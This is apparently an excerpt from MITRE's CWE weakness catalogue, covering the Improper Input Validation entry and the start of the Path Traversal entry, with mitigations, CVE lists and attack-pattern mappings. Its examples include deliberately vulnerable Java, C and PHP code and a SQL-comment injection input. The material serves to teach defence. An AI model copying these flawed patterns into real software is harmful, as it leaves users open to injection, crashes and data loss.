Data can be simple or structured. Structured data can be composed of many nested layers, composed of combinations of metadata and raw data, with other simple or structured data.

Many properties of raw data or metadata may need to be validated upon entry into the code, such as:

- specified quantities such as size, length, frequency, price, rate, number of operations, time, etc.
- implied or derived quantities, such as the actual size of a file instead of a specified size
- indexes, offsets, or positions into more complex data structures
- symbolic keys or other elements into hash tables, associative arrays, etc.
- well-formedness, i.e. syntactic correctness - compliance with expected syntax
- lexical token correctness - compliance with rules for what is treated as a token
- specified or derived type - the actual type of the input (or what the input appears to be)
- consistency - between individual data elements, between raw data and metadata, between references, etc.
- conformance to domain-specific rules, e.g. business logic
- equivalence - ensuring that equivalent inputs are treated the same
- authenticity, ownership, or other attestations about the input, e.g. a cryptographic signature to prove the source of the data

Implied or derived properties of data must often be calculated or inferred by the code itself. Errors in deriving properties may be considered a contributing factor to improper input validation.

Note that "input validation" has very different meanings to different people, or within different classification schemes. Caution must be used when referencing this CWE entry or mapping to it. For example, some weaknesses might involve inadvertently giving control to an attacker over an input when they should not be able to provide an input at all, but sometimes this is referred to as input validation.

Finally, it is important to emphasize that the distinctions between input validation and output escaping are often blurred, and developers must be careful to understand the difference, including how input validation is not always sufficient to prevent vulnerabilities, especially when less stringent data types must be supported, such as free-form text. Consider a SQL injection scenario in which a person's last name is inserted into a query. The name "O'Reilly" would likely pass the validation step since it is a common last name in the English language. However, this valid name cannot be directly inserted into the database because it contains the "'" apostrophe character, which would need to be escaped or otherwise transformed. In this case, removing the apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the wrong name would be recorded.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	707	Improper Neutralization	1546
ParentOf	B	179	Incorrect Behavior Order: Early Validation	448
ParentOf	V	622	Improper Validation of Function Hook Arguments	1387
ParentOf	B	1173	Improper Use of Validation Framework	1969
ParentOf	B	1284	Improper Validation of Specified Quantity in Input	2130
ParentOf	B	1285	Improper Validation of Specified Index, Position, or Offset in Input	2132
ParentOf	B	1286	Improper Validation of Syntactic Correctness of Input	2136
ParentOf	B	1287	Improper Validation of Specified Type of Input	2138
ParentOf	B	1288	Improper Validation of Consistency within Input	2139
ParentOf	B	1289	Improper Validation of Unsafe Equivalence in Input	2141
PeerOf	C	345	Insufficient Verification of Data Authenticity	851
CanPrecede	B	22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	33
CanPrecede	B	41	Improper Resolution of Path Equivalence	86
CanPrecede	C	74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	137
CanPrecede	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	293
CanPrecede	B	770	Allocation of Resources Without Limits or Throttling	1613

























Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ParentOf	V	129	Improper Validation of Array Index	341
ParentOf	B	1284	Improper Validation of Specified Quantity in Input	2130

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf		1019	Validate Inputs	2433

Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)

Nature	Type	ID	Name	Page
ParentOf		15	External Control of System or Configuration Setting	17
ParentOf		73	External Control of File Name or Path	132
ParentOf		102	Struts: Duplicate Validation Forms	246
ParentOf		103	Struts: Incomplete validate() Method Definition	248
ParentOf		104	Struts: Form Bean Does Not Extend Validation Class	251
ParentOf		105	Struts: Form Field Without Validator	253
ParentOf		106	Struts: Plug-in Framework not in Use	256
ParentOf		107	Struts: Unused Validation Form	259
ParentOf		108	Struts: Unvalidated Action Form	261
ParentOf		109	Struts: Validator Turned Off	263
ParentOf		110	Struts: Validator Without Form Field	264
ParentOf		111	Direct Use of Unsafe JNI	266
ParentOf		112	Missing XML Validation	269
ParentOf		113	Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting')	271
ParentOf		114	Process Control	277
ParentOf		117	Improper Output Neutralization for Logs	288
ParentOf		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	293
ParentOf		120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	304
ParentOf		134	Use of Externally-Controlled Format String	365
ParentOf		170	Improper Null Termination	428
ParentOf		190	Integer Overflow or Wraparound	472
ParentOf		466	Return of Pointer Value Outside of Expected Range	1109
ParentOf		470	Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')	1118
ParentOf		785	Use of Path Manipulation Function without Maximum-sized Buffer	1656

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Often*)

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) <i>An attacker could provide unexpected values and cause a program crash or excessive consumption of resources, such as memory and CPU.</i>	
Confidentiality	Read Memory Read Files or Directories	

Scope	Impact	Likelihood
	<i>An attacker could read confidential data if they are able to control resource references.</i>	
Integrity Confidentiality Availability	Modify Memory Execute Unauthorized Code or Commands <i>An attacker could use malicious input to modify data or possibly alter control flow in unexpected ways, including arbitrary command execution.</i>	

Detection Methods

Automated Static Analysis

Some instances of improper input validation can be detected using automated static analysis. A static analysis tool might allow the user to specify which application-specific methods or functions perform input validation; the tool might also have built-in knowledge of validation frameworks such as Struts. The tool may then suppress or de-prioritize any associated warnings. This allows the analyst to focus on areas of the software in which input validation does not appear to be present. Except in the cases described in the previous paragraph, automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or require any code changes.

Manual Static Analysis

When custom input validation is required, such as when enforcing business rules, manual analysis is necessary to ensure that the validation is properly implemented.

Fuzzing

Fuzzing techniques can be useful for detecting input validation errors. When unexpected inputs are provided to the software, the software should not crash or otherwise become unstable, and it should generate application-controlled error messages. If exceptions or interpreter-generated error messages occur, this indicates that the input was not detected and handled within the application logic itself.

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness = SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness = SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Highly cost effective: Web Application Scanner Web Services Scanner Database Scanners

Effectiveness = High

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Highly cost effective: Fuzz Tester Framework-based Fuzzer Cost effective for partial coverage: Host Application Interface Scanner Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Effectiveness = High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective:
Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review
(not inspections)

Effectiveness = High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective:
Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective:
Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.) Formal
Methods / Correct-By-Construction Cost effective for partial coverage: Attack Modeling

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Strategy = Attack Surface Reduction

Consider using language-theoretic security (LangSec) techniques that characterize inputs using a formal language and build "recognizers" for that language. This effectively requires parsing to be a distinct layer that effectively enforces a boundary between raw input and internal data representations, instead of allowing parser code to be scattered throughout the program, where it could be subject to errors or inconsistencies that create weaknesses. [REF-1109] [REF-1110] [REF-1111]

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use an input validation framework such as Struts or the OWASP ESAPI Validation API. Note that using a framework does not automatically address all input validation problems; be mindful of weaknesses that could arise from misusing the framework itself (CWE-1173).

Phase: Architecture and Design

Phase: Implementation

Strategy = Attack Surface Reduction

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be

syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Effectiveness = High

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server. Even though client-side checks provide minimal benefits with respect to server-side security, they are still useful. First, they can support intrusion detection. If the server receives input that should have been rejected by the client, then it may be an indication of an attack. Second, client-side error-checking can provide helpful feedback to the user about the expectations for valid input. Third, there may be a reduction in server-side processing time for accidental input errors, although this is typically a small savings.

Phase: Implementation

When your application combines data from multiple sources, perform the validation after the sources have been combined. The individual data elements may pass the validation step but violate the intended restrictions after they have been combined.

Phase: Implementation

Be especially careful to validate all input when invoking code that crosses language boundaries, such as from an interpreted language to native code. This could create an unexpected interaction between the language boundaries. Ensure that you are not violating any of the expectations of the language with which you are interfacing. For example, even though Java may not be susceptible to buffer overflows, providing a large argument in a call to native code might trigger an overflow.

Phase: Implementation

Directly convert your input type into the expected data type, such as using a conversion function that translates a string into a number. After converting to the expected data type, ensure that the input's values fall within the expected range of allowable values and that multi-field consistencies are maintained.

Phase: Implementation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control. Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.

Phase: Implementation

When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.

Demonstrative Examples

Example 1:

This example demonstrates a shopping interaction in which the user is free to specify the quantity of items to be purchased and a total is calculated.

Example Language: Java

(Bad)

```
...
public static final double price = 20.00;
int quantity = currentUser.getAttribute("quantity");
double total = price * quantity;
chargeUser(total);
...
```

The user has no control over the price variable, however the code does not prevent a negative value from being specified for quantity. If an attacker were to provide a negative value, then the user would have their account credited instead of debited.

Example 2:

This example asks the user for a height and width of an m X n game board with a maximum dimension of 100 squares.

Example Language: C

(Bad)

```
...
#define MAX_DIM 100
...
/* board dimensions */
int m,n, error;
board_square_t *board;
printf("Please specify the board height: \n");
error = scanf("%d", &m);
if ( EOF == error ){
    die("No integer passed: Die evil hacker!\n");
}
printf("Please specify the board width: \n");
error = scanf("%d", &n);
if ( EOF == error ){
    die("No integer passed: Die evil hacker!\n");
}
if ( m > MAX_DIM || n > MAX_DIM ) {
    die("Value too large: Die evil hacker!\n");
}
board = (board_square_t*) malloc( m * n * sizeof(board_square_t));
...
```

While this code checks to make sure the user cannot specify large, positive integers and consume too much memory, it does not check for negative values supplied by the user. As a result, an attacker can perform a resource consumption (CWE-400) attack against this program by specifying two, large negative values that will not overflow, resulting in a very large memory allocation (CWE-789) and possibly a system crash. Alternatively, an attacker can provide very large negative values which will cause an integer overflow (CWE-190) and unexpected behavior will follow depending on how the values are treated in the remainder of the program.

Example 3:

The following example shows a PHP application in which the programmer attempts to display a user's birthday and homepage.

Example Language: PHP

(Bad)

```
$birthday = $_GET['birthday'];
$homepage = $_GET['homepage'];
echo "Birthday: $birthday<br>Homepage: <a href=$homepage>click here</a>"
```

The programmer intended for \$birthday to be in a date format and \$homepage to be a valid URL. However, since the values are derived from an HTTP request, if an attacker can trick a victim into clicking a crafted URL with <script> tags providing the values for birthday and / or homepage, then the script will run on the client's browser when the web server echoes the content. Notice that even if the programmer were to defend the \$birthday variable by restricting input to integers and dashes, it would still be possible for an attacker to provide a string of the form:

Example Language:

(Attack)

```
2009-01-09--
```

If this data were used in a SQL statement, it would treat the remainder of the statement as a comment. The comment could disable other security-related logic in the statement. In this case, encoding combined with input validation would be a more useful protection mechanism.

Furthermore, an XSS (CWE-79) attack or SQL injection (CWE-89) are just a few of the potential consequences when input validation is not used. Depending on the context of the code, CRLF Injection (CWE-93), Argument Injection (CWE-88), or Command Injection (CWE-77) may also be possible.

Example 4:

The following example takes a user-supplied value to allocate an array of objects and then operates on the array.

Example Language: Java

(Bad)

```
private void buildList ( int untrustedListSize ){
    if ( 0 > untrustedListSize ){
        die("Negative value supplied for list size, die evil hacker!");
    }
    Widget[] list = new Widget [ untrustedListSize ];
    list[0] = new Widget();
}
```

This example attempts to build a list from a user-specified value, and even checks to ensure a non-negative value is supplied. If, however, a 0 value is provided, the code will build an array of size 0 and then try to store a new Widget in the first location, causing an exception to be thrown.

Example 5:

This Android application has registered to handle a URL when sent an intent:

Example Language: Java

(Bad)

```
...
IntentFilter filter = new IntentFilter("com.example.URLHandler.openURL");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
...
public class UrlHandlerReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        if("com.example.URLHandler.openURL".equals(intent.getAction())) {
            String URL = intent.getStringExtra("URLToOpen");
            int length = URL.length();
            ...
        }
    }
}
```

The application assumes the URL will always be included in the intent. When the URL is not present, the call to `getStringExtra()` will return null, thus causing a null pointer exception when `length()` is called.

Observed Examples

Reference	Description
CVE-2022-45918	Chain: a learning management tool debugger uses external input to locate previous session logs (CWE-73) and does not properly validate the given path (CWE-20), allowing for filesystem path traversal using "../" sequences (CWE-24) https://www.cve.org/CVERecord?id=CVE-2022-45918
CVE-2021-30860	Chain: improper input validation (CWE-20) leads to integer overflow (CWE-190) in mobile OS, as exploited in the wild per CISA KEV. https://www.cve.org/CVERecord?id=CVE-2021-30860
CVE-2021-30663	Chain: improper input validation (CWE-20) leads to integer overflow (CWE-190) in mobile OS, as exploited in the wild per CISA KEV. https://www.cve.org/CVERecord?id=CVE-2021-30663
CVE-2021-22205	Chain: backslash followed by a newline can bypass a validation step (CWE-20), leading to eval injection (CWE-95), as exploited in the wild per CISA KEV. https://www.cve.org/CVERecord?id=CVE-2021-22205
CVE-2021-21220	Chain: insufficient input validation (CWE-20) in browser allows heap corruption (CWE-787), as exploited in the wild per CISA KEV. https://www.cve.org/CVERecord?id=CVE-2021-21220
CVE-2020-9054	Chain: improper input validation (CWE-20) in username parameter, leading to OS command injection (CWE-78), as exploited in the wild per CISA KEV. https://www.cve.org/CVERecord?id=CVE-2020-9054
CVE-2020-3452	Chain: security product has improper input validation (CWE-20) leading to directory traversal (CWE-22), as exploited in the wild per CISA KEV. https://www.cve.org/CVERecord?id=CVE-2020-3452
CVE-2020-3161	Improper input validation of HTTP requests in IP phone, as exploited in the wild per CISA KEV. https://www.cve.org/CVERecord?id=CVE-2020-3161
CVE-2020-3580	Chain: improper input validation (CWE-20) in firewall product leads to XSS (CWE-79), as exploited in the wild per CISA KEV. https://www.cve.org/CVERecord?id=CVE-2020-3580
CVE-2021-37147	Chain: caching proxy server has improper input validation (CWE-20) of headers, allowing HTTP response smuggling (CWE-444) using an "LF line ending" https://www.cve.org/CVERecord?id=CVE-2021-37147
CVE-2008-5305	Eval injection in Perl program using an ID that should only contain hyphens and numbers. https://www.cve.org/CVERecord?id=CVE-2008-5305
CVE-2008-2223	SQL injection through an ID that was supposed to be numeric. https://www.cve.org/CVERecord?id=CVE-2008-2223
CVE-2008-3477	lack of input validation in spreadsheet program leads to buffer overflows, integer overflows, array index errors, and memory corruption. https://www.cve.org/CVERecord?id=CVE-2008-3477
CVE-2008-3843	insufficient validation enables XSS https://www.cve.org/CVERecord?id=CVE-2008-3843
CVE-2008-3174	driver in security product allows code execution due to insufficient validation https://www.cve.org/CVERecord?id=CVE-2008-3174
CVE-2007-3409	infinite loop from DNS packet with a label that points to itself https://www.cve.org/CVERecord?id=CVE-2007-3409
CVE-2006-6870	infinite loop from DNS packet with a label that points to itself https://www.cve.org/CVERecord?id=CVE-2006-6870
CVE-2008-1303	missing parameter leads to crash https://www.cve.org/CVERecord?id=CVE-2008-1303

Reference	Description
CVE-2007-5893	HTTP request with missing protocol version number leads to crash https://www.cve.org/CVERecord?id=CVE-2007-5893
CVE-2006-6658	request with missing parameters leads to information exposure https://www.cve.org/CVERecord?id=CVE-2006-6658
CVE-2008-4114	system crash with offset value that is inconsistent with packet size https://www.cve.org/CVERecord?id=CVE-2008-4114
CVE-2006-3790	size field that is inconsistent with packet size leads to buffer over-read https://www.cve.org/CVERecord?id=CVE-2006-3790
CVE-2008-2309	product uses a denylist to identify potentially dangerous content, allowing attacker to bypass a warning https://www.cve.org/CVERecord?id=CVE-2008-2309
CVE-2008-3494	security bypass via an extra header https://www.cve.org/CVERecord?id=CVE-2008-3494
CVE-2008-3571	empty packet triggers reboot https://www.cve.org/CVERecord?id=CVE-2008-3571
CVE-2006-5525	incomplete denylist allows SQL injection https://www.cve.org/CVERecord?id=CVE-2006-5525
CVE-2008-1284	NUL byte in theme name causes directory traversal impact to be worse https://www.cve.org/CVERecord?id=CVE-2008-1284
CVE-2008-0600	kernel does not validate an incoming pointer before dereferencing it https://www.cve.org/CVERecord?id=CVE-2008-0600
CVE-2008-1738	anti-virus product has insufficient input validation of hooked SSDT functions, allowing code execution https://www.cve.org/CVERecord?id=CVE-2008-1738
CVE-2008-1737	anti-virus product allows DoS via zero-length field https://www.cve.org/CVERecord?id=CVE-2008-1737
CVE-2008-3464	driver does not validate input from userland to the kernel https://www.cve.org/CVERecord?id=CVE-2008-3464
CVE-2008-2252	kernel does not validate parameters sent in from userland, allowing code execution https://www.cve.org/CVERecord?id=CVE-2008-2252
CVE-2008-2374	lack of validation of string length fields allows memory consumption or buffer over-read https://www.cve.org/CVERecord?id=CVE-2008-2374
CVE-2008-1440	lack of validation of length field leads to infinite loop https://www.cve.org/CVERecord?id=CVE-2008-1440
CVE-2008-1625	lack of validation of input to an IOCTL allows code execution https://www.cve.org/CVERecord?id=CVE-2008-1625
CVE-2008-3177	zero-length attachment causes crash https://www.cve.org/CVERecord?id=CVE-2008-3177
CVE-2007-2442	zero-length input causes free of uninitialized pointer https://www.cve.org/CVERecord?id=CVE-2007-2442
CVE-2008-5563	crash via a malformed frame structure https://www.cve.org/CVERecord?id=CVE-2008-5563
CVE-2008-5285	infinite loop from a long SMTP request https://www.cve.org/CVERecord?id=CVE-2008-5285
CVE-2008-3812	router crashes with a malformed packet https://www.cve.org/CVERecord?id=CVE-2008-3812
CVE-2008-3680	packet with invalid version number leads to NULL pointer dereference https://www.cve.org/CVERecord?id=CVE-2008-3680
CVE-2008-3660	crash via multiple "." characters in file extension https://www.cve.org/CVERecord?id=CVE-2008-3660

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	635	Weaknesses Originally Used by NVD from 2008 to 2016	635	2552
MemberOf	C	722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	711	2334
MemberOf	C	738	CERT C Secure Coding Standard (2008) Chapter 5 - Integers (INT)	734	2342
MemberOf	C	742	CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)	734	2345
MemberOf	C	746	CERT C Secure Coding Standard (2008) Chapter 13 - Error Handling (ERR)	734	2350
MemberOf	C	747	CERT C Secure Coding Standard (2008) Chapter 14 - Miscellaneous (MSC)	734	2350
MemberOf	C	751	2009 Top 25 - Insecure Interaction Between Components	750	2352
MemberOf	C	872	CERT C++ Secure Coding Section 04 - Integers (INT)	868	2374
MemberOf	C	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	868	2376
MemberOf	C	883	CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)	868	2381
MemberOf	C	994	SFP Secondary Cluster: Tainted Input to Variable	888	2417
MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2576
MemberOf	C	1005	7PK - Input Validation and Representation	700	2421
MemberOf	C	1163	SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)	1154	2459
MemberOf	V	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors	1200	2587
MemberOf	V	1337	Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses	1337	2589
MemberOf	C	1347	OWASP Top Ten 2021 Category A03:2021 - Injection	1344	2490
MemberOf	V	1350	Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses	1350	2594
MemberOf	C	1382	ICS Operations (& Maintenance): Emerging Energy Technologies	1358	2517
MemberOf	V	1387	Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses	1387	2597
MemberOf	C	1406	Comprehensive Categorization: Improper Input Validation	1400	2531
MemberOf	V	1425	Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses	1425	2600

Notes

Relationship

CWE-116 and CWE-20 have a close association because, depending on the nature of the structured message, proper input validation can indirectly prevent special characters from changing the meaning of a structured message. For example, by validating that a numeric ID field should only contain the 0-9 characters, the programmer effectively prevents injection attacks.

Maintenance

As of 2020, this entry is used more often than preferred, and it is a source of frequent confusion. It is being actively modified for CWE 4.1 and subsequent versions.

Maintenance

Concepts such as validation, data transformation, and neutralization are being refined, so relationships between CWE-20 and other entries such as CWE-707 may change in future versions, along with an update to the Vulnerability Theory document.

Maintenance

Input validation - whether missing or incorrect - is such an essential and widespread part of secure development that it is implicit in many different weaknesses. Traditionally, problems such as buffer overflows and XSS have been classified as input validation problems by many security professionals. However, input validation is not necessarily the only protection mechanism available for avoiding such problems, and in some cases it is not even sufficient. The CWE team has begun capturing these subtleties in chains within the Research Concepts view (CWE-1000), but more work is needed.

Terminology

The "input validation" term is extremely common, but it is used in many different ways. In some cases its usage can obscure the real underlying weakness or otherwise hide chaining and composite relationships. Some people use "input validation" as a general term that covers many different neutralization techniques for ensuring that input is appropriate, such as filtering, canonicalization, and escaping. Others use the term in a more narrow context to simply mean "checking if an input conforms to expectations without changing it." CWE uses this more narrow interpretation.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Input validation and representation
OWASP Top Ten 2004	A1	CWE More Specific	Unvalidated Input
CERT C Secure Coding	ERR07-C		Prefer functions that support error checking over equivalent functions that don't
CERT C Secure Coding	FIO30-C	CWE More Abstract	Exclude user input from format strings
CERT C Secure Coding	MEM10-C		Define and use a pointer validation function
WASC	20		Improper Input Handling
Software Fault Patterns	SFP25		Tainted input to variable

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
3	Using Leading 'Ghost' Character Sequences to Bypass Input Filters
7	Blind SQL Injection
8	Buffer Overflow in an API Call
9	Buffer Overflow in Local Command-Line Utilities
10	Buffer Overflow via Environment Variables
13	Subverting Environment Variable Values
14	Client-side Injection-induced Buffer Overflow
22	Exploiting Trust in Client
23	File Content Injection
24	Filter Failure through Buffer Overflow
28	Fuzzing
31	Accessing/Intercepting/Modifying HTTP Cookies
42	MIME Conversion

CAPEC-ID	Attack Pattern Name
43	Exploiting Multiple Input Interpretation Layers
45	Buffer Overflow via Symbolic Links
46	Overflow Variables and Tags
47	Buffer Overflow via Parameter Expansion
52	Embedding NULL Bytes
53	Postfix, Null Terminate, and Backslash
63	Cross-Site Scripting (XSS)
64	Using Slashes and URL Encoding Combined to Bypass Validation Logic
67	String Format Overflow in syslog()
71	Using Unicode Encoding to Bypass Validation Logic
72	URL Encoding
73	User-Controlled Filename
78	Using Escaped Slashes in Alternate Encoding
79	Using Slashes in Alternate Encoding
80	Using UTF-8 Encoding to Bypass Validation Logic
81	Web Server Logs Tampering
83	XPath Injection
85	AJAX Footprinting
88	OS Command Injection
101	Server Side Include (SSI) Injection
104	Cross Zone Scripting
108	Command Line Execution through SQL Injection
109	Object Relational Mapping Injection
110	SQL Injection through SOAP Parameter Tampering
120	Double Encoding
135	Format String Injection
136	LDAP Injection
153	Input Data Manipulation
182	Flash Injection
209	XSS Using MIME Type Mismatch
230	Serialized Data with Nested Payloads
231	Oversized Serialized Data Payloads
250	XML Injection
261	Fuzzing for garnering other adjacent user/sensitive data
267	Leverage Alternate Encoding
473	Signature Spoof
588	DOM-Based XSS
664	Server Side Request Forgery

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

[REF-166]Jim Manico. "Input Validation with ESAPI - Very Important". 2008 August 5. < <https://manicode.blogspot.com/2008/08/input-validation-with-esapi.html> >.2023-04-07.

[REF-45]OWASP. "OWASP Enterprise Security API (ESAPI) Project". < <http://www.owasp.org/index.php/ESAPI> >.

[REF-168]Joel Scambray, Mike Shema and Caleb Sima. "Hacking Exposed Web Applications, Second Edition". 2006 June 5. McGraw-Hill.

[REF-48]Jeremiah Grossman. "Input validation or output filtering, which is better?". 2007 January 0. < <https://blog.jeremiahgrossman.com/2007/01/input-validation-or-output-filtering.html> >.2023-04-07.

[REF-170]Kevin Beaver. "The importance of input validation". 2006 September 6. < http://searchsoftwarequality.techtarget.com/tip/0,289483,sid92_gci1214373,00.html >.

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223> >.

[REF-1109]"LANGSEC: Language-theoretic Security". < <http://langsec.org/> >.

[REF-1110]"LangSec: Recognition, Validation, and Compositional Correctness for Real World Security". < <http://langsec.org/bof-handout.pdf> >.

[REF-1111]Sergey Bratus, Lars Hermerschmidt, Sven M. Hallberg, Michael E. Locasto, Falcon D. Momot, Meredith L. Patterson and Anna Shubina. "Curing the Vulnerable Parser: Design Patterns for Secure Input Handling". USENIX ;login:. 2017. < https://www.usenix.org/system/files/login/articles/login_spring17_08_bratus.pdf >.

[REF-1287]MITRE. "Supplemental Details - 2022 CWE Top 25". 2022 June 8. < https://cwe.mitre.org/top25/archive/2022/2022_cwe_top25_supplemental.html#problematicMappingDetails >.

CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Weakness ID : 22

Structure : Simple

Abstraction : Base

Description

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

Extended Description








Many file operations are intended to take place within a restricted directory. By using special elements such as "." and "/" separators, attackers can escape outside of the restricted location to access files or directories that are elsewhere on the system. One of the most common special elements is the "../" sequence, which in most modern operating systems is interpreted as the parent directory of the current location. This is referred to as relative path traversal. Path traversal also covers the use of absolute pathnames such as "/usr/local/bin", which may also be useful in accessing unexpected files. This is referred to as absolute path traversal.

In many programming languages, the injection of a null byte (the 0 or NUL) may allow an attacker to truncate a generated filename to widen the scope of attack. For example, the product may add ".txt" to any pathname, thus limiting the attacker to text files, but a null injection may effectively remove this restriction.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		668	Exposure of Resource to Wrong Sphere	1469
ChildOf		706	Use of Incorrectly-Resolved Name or Reference	1544
ParentOf		23	Relative Path Traversal	46
ParentOf		36	Absolute Path Traversal	75
CanFollow		20	Improper Input Validation	20
CanFollow		73	External Control of File Name or Path	132
CanFollow		172	Encoding Error	433

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf		706	Use of Incorrectly-Resolved Name or Reference	1544


Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name	Page
ParentOf		23	Relative Path Traversal	46
ParentOf		36	Absolute Path Traversal	75

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name	Page
ParentOf		23	Relative Path Traversal	46
ParentOf		36	Absolute Path Traversal	75

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf		1219	File Handling Issues	2480

Weakness Ordinalities

Primary :

Resultant :

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Alternate Terms

Directory traversal :

Path traversal : "Path traversal" is preferred over "directory traversal," but both terms are attack-focused.

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Integrity	Execute Unauthorized Code or Commands	
